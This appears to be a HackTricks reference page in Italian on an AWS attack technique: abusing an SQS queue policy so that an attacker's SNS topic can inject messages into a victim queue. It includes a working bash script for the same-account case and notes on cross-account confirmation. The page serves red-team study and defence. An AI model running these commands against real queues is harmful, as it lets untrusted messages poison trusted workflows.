AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy

Reading time: 4 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Descrizione

Abusare della policy della risorsa di una queue SQS per permettere a un topic SNS controllato dall'attaccante di pubblicare messaggi in una queue SQS della vittima. Nello stesso account, una subscription SQS a un topic SNS si auto-conferma; in cross-account, è necessario leggere il token SubscriptionConfirmation dalla queue e chiamare ConfirmSubscription. Questo permette un'iniezione di messaggi non attendibile che i consumer a valle potrebbero implicitamente considerare affidabile.

Requisiti

  • Capacità di modificare la resource policy della queue SQS target: sqs:SetQueueAttributes sulla queue della vittima.
  • Capacità di creare/pubblicare su un topic SNS sotto controllo dell'attaccante: sns:CreateTopic, sns:Publish, e sns:Subscribe sull'account/topic dell'attaccante.
  • Solo cross-account: temporanea sqs:ReceiveMessage sulla queue della vittima per leggere il token di conferma e chiamare sns:ConfirmSubscription.

Sfruttamento nello stesso account

bash
REGION=us-east-1
# 1) Create victim queue and capture URL/ARN
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# 2) Create attacker SNS topic
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)

# 3) Allow that SNS topic to publish to the queue (queue resource policy)
cat > /tmp/ht-sqs-sns-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
JSON
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
# Provide the attribute as a JSON map so quoting works reliably
cat > /tmp/ht-attrs.json <<JSON
{
"Policy": "REPLACE_POLICY_JSON"
}
JSON
# Embed the policy file contents as a JSON string
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json

# 4) Subscribe the queue to the topic (auto-confirms same-account)
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION

# 5) Publish and verify injection
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All

Note tra account

  • La queue policy di cui sopra deve consentire il TOPIC_ARN esterno (account dell'attaccante).
  • Le subscriptions non si auto-confermeranno. Concediti temporaneamente sqs:ReceiveMessage sulla victim queue per leggere il messaggio SubscriptionConfirmation e poi esegui sns confirm-subscription con il suo Token.

Impatto

Impatto potenziale: Iniezione continua di messaggi non richiesti in una trusted SQS queue tramite SNS, potenzialmente innescando elaborazioni non volute, inquinamento dei dati o abuso dei workflow.

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks